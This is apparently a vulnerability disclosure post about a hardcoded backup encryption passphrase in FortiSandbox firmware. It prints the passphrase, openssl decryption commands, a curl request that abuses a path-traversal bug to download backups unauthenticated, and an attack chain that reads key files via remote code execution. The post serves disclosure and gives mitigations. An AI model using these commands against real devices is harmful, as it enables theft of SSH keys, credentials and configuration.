Post

Hardcoded Encryption Key in FortiSandbox Firmware Decrypting System Backups from First Principles

Hardcoded Encryption Key in FortiSandbox Firmware Decrypting System Backups from First Principles

How firmware reverse engineering revealed a hardcoded AES-256-CBC passphrase shared across all FortiSandbox devices — and why the 4.4.9 patch did nothing to fix it

Background

In our previous article on CVE-2026-39813, we demonstrated how a path traversal vulnerability in FortiSandbox’s JRPC API allows unauthenticated access to the backup/config endpoint, yielding a 32KB encrypted file with the unmistakable Salted__ header — the signature of OpenSSL’s enc command.

That article ended with a 26,224-byte encrypted blob and an open question: can it be decrypted?

This post answers that question definitively. Through firmware reverse engineering of the system-conf-recovery/ component in both 4.4.8 and 4.4.9 firmware, we reconstructed the complete encryption pipeline and discovered that the encryption passphrase is hardcoded in compiled Python bytecode — and identical across all FortiSandbox installations that have not configured a custom key file.

Summary

  • Finding: The backup encryption passphrase BzklORFMUxD-b5PY1Dj3-nO is hardcoded as a string constant in common/utils.pyc within the system-conf-recovery package
  • Encryption: OpenSSL AES-256-CBC with EVP_BytesToKey key derivation (default SHA-256 digest, MD5 fallback)
  • Impact: Any backup file from a default-configured FortiSandbox can be decrypted offline with a single OpenSSL command — no access to the target device required
  • Patch status: The 4.4.9 firmware update does not address this issue — the hardcoded password, encryption logic, and decryption logic are all byte-for-byte identical between 4.4.8 and 4.4.9
  • CWE Classification: CWE-321 (Use of a Hard-coded Cryptographic Key) and CWE-798 (Use of Hard-coded Credentials)

Encryption Pipeline Reconstruction

The Backup Script

System configuration backups are generated by /usr/bin/system-conf-recovery/backup.pyc, invoked by the Django web application via recovery.py’s handle_backup() function:

1
2
3
4
5
6
# recovery.py -> handle_backup() (reconstructed from bytecode)
encrypted_filename = '{sn}_{version}_{timestamp}.conf'
stdout, stderr, retcode = fork_process(
    'python /usr/bin/system-conf-recovery/backup.pyc -n %s -d %s' %
    (encrypted_filename, BACKUP_PATH)
)

The Core Encryption Command

Disassembling backup.pyc’s gen_conf_pkg() function (bytecode offset 84-188) reveals the encryption command template stored as a bytecode constant:

1
2
3
4
5
6
7
# backup.pyc -> gen_conf_pkg() [Constant #6]
cmd = (
    'cd %(dir)s; '
    'tar cfz - %(in_file)s %(version_file)s | '
    '%(ssl_bin)s aes-256-cbc -salt -k %(pwd)s | '
    'dd of=%(out_file)s'
)

This is a three-stage pipeline:

Stage Command Purpose
1 tar cfz - <files> VERSION Pack configuration files + version metadata into a gzipped tar stream
2 openssl aes-256-cbc -salt -k <pwd> Encrypt with AES-256-CBC, random 8-byte salt, producing Salted__ format
3 dd of=<output>.conf Write the encrypted output to a .conf file

The output filename follows the pattern {SN}_{version}_{timestamp}.conf, constructed from:

1
2
3
4
5
6
# backup.pyc -> gen_conf_pkg() [Constant #7]
encrypted_filename = '%s_%s_%s.conf' % (
    get_sn_no(),        # Serial number from system-bios
    BUILD_VERSION,      # Firmware version string
    time_suffix()       # datetime.now().strftime('%Y%m%d-%H%M')
)

What Gets Backed Up

Based on backup.pyc constants and the main() function logic, the backup archive includes:

Category Contents
System configuration Files listed in /etc/conf.idx
Databases SQLite databases (FortiSandboxGUIBackend.db, FortiSandboxDevice.db, FortiConnector.db, user_authserver.db, conf_snmp.db, filterlist.db, sfmpd.db)
Version metadata VERSION file with build string
SSH keys RSA, ECDSA, Ed25519 host keys
GUI encryption key gui_encryption_key — the symmetric key protecting GUI session data
Admin profiles admin_profiles.json with full privilege matrices
Network configuration Interface, route, proxy, DNS, mail server settings
VM scan profiles vmprofile.conf with VM image configurations

The Hardcoded Passphrase

get_encr_passphrase() — Full Reconstruction

The encryption password is retrieved by get_encr_passphrase() in common/utils.pyc. Full disassembly (bytecode offset 0-130) yields a complete reconstruction:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# common/utils.pyc -> get_encr_passphrase()
# Reconstructed from CPython 3.10 bytecode disassembly

def get_encr_passphrase():
    BACKUP_PWD = 'BzklORFMUxD-b5PY1Dj3-nO'  # LOAD_CONST 1 — hardcoded default

    try:
        with open(SETTINGS['file_cfg_backup_key'], 'r') as f:
            BACKUP_PWD = f.readline().splitlines()[0]
    except IOError as ex:
        if ex.args[0] == 2:   # errno.ENOENT — file not found
            return BACKUP_PWD  # Fall back to hardcoded default
        raise                 # Other I/O errors propagate

    return BACKUP_PWD

Decision Flow

1
2
3
4
5
6
7
8
9
10
11
12
13
get_encr_passphrase() called
    |
    +-- Initialize: BACKUP_PWD = 'BzklORFMUxD-b5PY1Dj3-nO'
    |
    +-- Attempt: open(SETTINGS['file_cfg_backup_key'])
    |   |
    |   +-- Success -> Read first line -> return custom password
    |   |
    |   +-- IOError
    |       +-- errno == 2 (file not found) -> return hardcoded default
    |       +-- Other errors -> propagate exception
    |
    +-- return BACKUP_PWD

The critical path is the errno == 2 branch: when the custom key file does not exist — the default state on any FortiSandbox that hasn’t been explicitly configured with a backup encryption key — the function silently falls back to the hardcoded value.

Bytecode-Level Evidence

The string constant is directly visible in the .pyc file’s constant pool:

1
2
3
# common/utils.pyc -> get_encr_passphrase() [Constants]
  1: 'BzklORFMUxD-b5PY1Dj3-nO'     # Offset 0: LOAD_CONST 1 -> assigned to BACKUP_PWD
  2: 'file_cfg_backup_key'           # Offset 10: SETTINGS[key]

The encryption command template from backup.pyc:

1
2
3
4
# backup.pyc -> gen_conf_pkg() [Constants]
  6: 'cd %(dir)s; tar cfz - %(in_file)s %(version_file)s | %(ssl_bin)s aes-256-cbc -salt -k %(pwd)s | dd of=%(out_file)s'
  7: '%s_%s_%s.conf'
  8: ('dir', 'in_file', 'version_file', 'ssl_bin', 'pwd', 'out_file')

The escape_phrase() Escaping

Before the passphrase is passed to the shell command, it goes through escape_phrase():

1
2
3
4
5
6
# common/utils.pyc -> escape_phrase()
def escape_phrase(phrase):
    ep = ''
    for c in phrase:
        ep = ep + '\\' + c  # Prepend backslash to every character
    return ep

This produces \B\z\k\l\O\R\F\M\U\x\D\-\b\5\P\Y\1\D\j\3\-\n\O for the default password. However, since every character in BzklORFMUxD-b5PY1Dj3-nO is a regular alphanumeric character or hyphen (none are bash metacharacters), the backslash escaping is a no-op in practice — the shell evaluates the escaped form back to the original string. For decryption, the raw unescaped passphrase works correctly.

Decryption Logic

Two-Stage Fallback Strategy

The restoration code in restorestage1.pyc implements a digest fallback to handle different OpenSSL versions:

1
2
3
4
5
6
# restorestage1.pyc [Constants]
  # Method 1: Default digest (OpenSSL >= 1.1.0 uses SHA-256)
  4: 'dd if=%(in_file)s | %(ssl_bin)s aes-256-cbc -d -salt -k %(pwd)s | tar zxf - -C %(out_path)s'

  # Method 2: MD5 digest fallback (OpenSSL < 1.1.0 compatibility)
  11: 'dd if=%(in_file)s | %(ssl_bin)s aes-256-cbc -d -md MD5 -salt -k %(pwd)s | tar zxf - -C %(out_path)s'
OpenSSL Version Default Digest Required Flag
< 1.1.0 MD5 (none) — but newer OpenSSL needs -md md5
>= 1.1.0 SHA-256 (default)

The restore script tries the SHA-256 method first, then falls back to MD5 on failure. This handles the case where a backup was created on an older appliance but restored on a newer one.

One-Command Decryption

With the hardcoded passphrase, decryption is trivial:

1
2
3
4
5
6
7
8
9
# Decrypt + extract in one pipeline
dd if=backup.conf 2>/dev/null | \
  openssl aes-256-cbc -d -salt -k 'BzklORFMUxD-b5PY1Dj3-nO' | \
  tar zxf - -C output_dir/

# If SHA-256 fails, try MD5 digest (older backups)
dd if=backup.conf 2>/dev/null | \
  openssl aes-256-cbc -d -md md5 -salt -k 'BzklORFMUxD-b5PY1Dj3-nO' | \
  tar zxf - -C output_dir/

End-to-End Verification

From Download to Full Config Extraction

Using CVE-2026-39813 (JRPC path traversal auth bypass) against a live FortiSandbox 4.4.8 target:

Step 1 — Download the encrypted backup via JRPC:

1
2
3
4
5
6
7
8
9
curl -k -X POST "https://TARGET/fortisandbox/jsonrpc/" \
  -H "Content-Type: application/json" \
  -d '{
    "id": 1,
    "session": "../../tmp/",
    "method": "exec",
    "params": [{"url": "backup/config", "action": "get"}],
    "ver": "2.0"
  }'

Step 2 — Result: 26,224 bytes, Salted__ header confirmed.

Step 3 — Decrypt with the hardcoded password: Successful — yields a valid gzip tar archive.

Step 4 — Extract: The archive contains 44 files including the following high-value items:

Category File Sensitivity
Databases FortiSandboxGUIBackend.db (main DB) Critical — user accounts, scan history, settings
  FortiSandboxDevice.db Device configuration state
  FortiConnector.db Connector settings
  user_authserver.db Authentication server configuration
SSH Host Keys ssh/ssh_host_rsa_key Critical — private key in PEM format
  ssh/ssh_host_ecdsa_key ECDSA private key
  ssh/ssh_host_ed25519_key Ed25519 private key
  ssh/authorized_keys2 Authorized public keys
Crypto Material gui_encryption_key 98-byte symmetric key for GUI session encryption
Access Control admin_profiles.json Full privilege matrix for all admin roles
  password_policy.json Password requirements (or lack thereof)
  system-adminright Admin access protocols (HTTPS, SSH)
Network Config system-interface Interface IP: 10.10.10.230/24
  system-route Default gateway: 10.10.10.1
  system-proxyserver Proxy configuration
  resolv.conf DNS resolver settings
  mta.conf Mail transfer agent config
VM Scan Config vmprofile.conf VM scan profile definitions
  remote_vms.config Remote VM settings
Monitoring conf_snmp.db SNMP configuration
  icap.conf ICAP protocol settings

Sample Extracted Data

The decrypted admin_profiles.json reveals the complete privilege matrix — four default profiles (Super Admin, Read Only, Device, Netshare) with granular permission levels for 40+ GUI functions:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
  "version": "5.0.2.0109",
  "profile": {
    "Super Admin": {
      "users": ["admin"],
      "privileges": {
        "dashboard": 3, "scan_jobs": 3, "vm_images": 3,
        "system": 3, "admin": 3, "network": 3,
        "json_api": 4, "cli_access": 4
      }
    }
  }
}

The password_policy.json shows that on this device, password policies are disabled:

1
2
3
4
5
6
7
{
  "enable": false,
  "min_length": 6,
  "charactor_reqirements": false,
  "enable_expiration": false,
  "enable_reuse_pwd": true
}

The gui_encryption_key is a 98-byte string used for symmetric encryption of GUI session data — now fully accessible for offline analysis.

Cross-Version Analysis: 4.4.8 vs 4.4.9

A byte-level comparison of the three backup-related .pyc files between firmware versions reveals a critical finding:

Component 4.4.8 Size 4.4.9 Size Byte Differences Analysis
common/utils.pyc identical identical Bytes 9-12 only CPython timestamp header — code identical
backup.pyc identical identical Bytes 9-12 only CPython timestamp header — code identical
restorestage1.pyc identical identical Bytes 9-12 only CPython timestamp header — code identical

The only differences between versions are at bytes 9-12 of each .pyc file — this is the mtime field in the CPython 3.10 .pyc header (magic number + flags + timestamp + source size). The actual bytecode, constants, and logic are byte-for-byte identical.

The 4.4.9 patch fixed the JRPC authentication bypass (CVE-2026-39813) but did nothing to address the hardcoded backup encryption key. Any backup downloaded from a patched 4.4.9 system — whether through a future vulnerability or authorized administrative download — can still be decrypted with the same hardcoded passphrase.

Combined Attack Chain

The hardcoded encryption key completes a practical attack chain when combined with previously disclosed vulnerabilities:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Phase 1: Obtain the encrypted backup
  |
  +-- Option A: CVE-2026-39813 (JRPC path traversal auth bypass)
  |     -> POST /jsonrpc/ with session="../../tmp/"
  |     -> GET backup/config endpoint
  |     -> 26KB encrypted backup (Salted__ format)
  |
  +-- Option B: CVE-2026-26083 (middleware auth bypass)
        -> Trigger handle_backup() side effect
        -> Backup generated on server

Phase 2: Obtain the custom key (if configured)
  |
  +-- CVE-2026-26083 + CVE-2026-39808 (pre-auth RCE)
        -> cat /etc/cfg_backup_key
        -> If file exists, read the custom passphrase
        -> If file absent, use hardcoded default

Phase 3: Offline decryption
  |
  +-- openssl aes-256-cbc -d -salt -k 'BzklORFMUxD-b5PY1Dj3-nO'
  |
  +-- tar zxf -> 44+ configuration files
  |
  +-- Full system configuration compromise:
        - SSH private keys -> persistent device access
        - GUI encryption key -> session forgery
        - Admin profiles -> privilege mapping for lateral movement
        - Network config -> topology reconnaissance
        - Database files -> scan history, user accounts

For default-configured devices (the vast majority), Phase 2 is unnecessary — the hardcoded password is sufficient for decryption.

Security Impact

Why This Matters

Risk Assessment
Shared secret across product line All FortiSandbox devices without a custom key file use the same passphrase BzklORFMUxD-b5PY1Dj3-nO
Non-rotatable by users The password is compiled into .pyc bytecode — users cannot change it without replacing system files
Offline decryption Possession of a backup file is sufficient; no network access to the target device is required for decryption
Sensitive backup contents SSH private keys, GUI encryption keys, admin privilege matrices, network topology, database contents
Unpatched in 4.4.9 The fix for CVE-2026-39813 blocks the delivery mechanism (JRPC auth bypass) but leaves the encryption weakness intact
Long-lived risk Even if the JRPC vulnerability is patched, backups downloaded through other means (admin compromise, insider threat, future vulnerabilities) remain decryptable

CWE Classification

  • CWE-321: Use of a Hard-coded Cryptographic Key — The encryption passphrase is a fixed string constant in compiled bytecode, shared across all installations
  • CWE-798: Use of Hard-coded Credentials — The same string serves as a credential for backup confidentiality, and cannot be changed through normal administrative interfaces

Timeline

Date Event
2026-04-14 Fortinet publishes FG-IR-26-112 (CVE-2026-39813) — JRPC path traversal
2026-04-14 Fortinet publishes FG-IR-26-111 (CVE-2026-39808) — command injection
2026-04-21 Firmware reverse engineering identifies hardcoded backup encryption key
2026-04-21 Successful decryption of 26KB backup downloaded via CVE-2026-39813
2026-04-22 Cross-version analysis confirms 4.4.9 does not address hardcoded key
2026-06-12 Public disclosure of backup encryption analysis

Mitigation

  1. For administrators:
    • Configure a custom backup encryption key file (SETTINGS['file_cfg_backup_key']) via the FortiSandbox management interface to override the hardcoded default
    • Rotate this key periodically
    • Restrict network access to the JRPC endpoint (/jsonrpc/) to trusted management networks only
    • Treat backup files as highly sensitive — store them in encrypted, access-controlled locations
    • Rotate SSH host keys on appliances where backups may have been compromised
  2. For Fortinet (vendor recommendations):
    • Replace the hardcoded passphrase with per-device key generation (e.g., deriving the encryption key from /etc/secret_key which is already unique per installation)
    • Implement proper key management with rotation support
    • Add backup integrity verification (signing in addition to encryption)
    • Backport the fix to all supported firmware branches, not just the latest
  3. Immediate compensating controls:
    • If a custom key file is already configured, verify it is in place: ls -la /etc/cfg_backup_key
    • Audit network logs for JRPC access to backup/config endpoint from unauthorized sources
    • Assume any backup file that has left the administrative network is compromised

Conclusion

The discovery of a hardcoded encryption passphrase in FortiSandbox’s backup mechanism highlights a fundamental key management failure: encryption that relies on a shared, unchangeable secret provides no meaningful confidentiality once that secret is extracted from the firmware. The passphrase BzklORFMUxD-b5PY1Dj3-nO is compiled into every FortiSandbox firmware image, making every backup from every default-configured device decryptable by anyone who obtains the file.

What makes this finding particularly concerning is its interaction with the vulnerabilities we previously disclosed. CVE-2026-39813 provides the delivery mechanism — unauthenticated backup exfiltration via JRPC path traversal. The hardcoded key provides the decryption capability — requiring zero computational effort. Together, they enable a complete configuration extraction attack chain from a single HTTP request to a fully decrypted archive containing SSH private keys, database contents, and administrative credentials.

Most critically, the 4.4.9 firmware update does not address this issue. While the JRPC authentication bypass has been patched, the underlying cryptographic weakness remains — any future vulnerability that provides backup file access will allow full decryption.

References

This post is licensed under CC BY 4.0 by the author.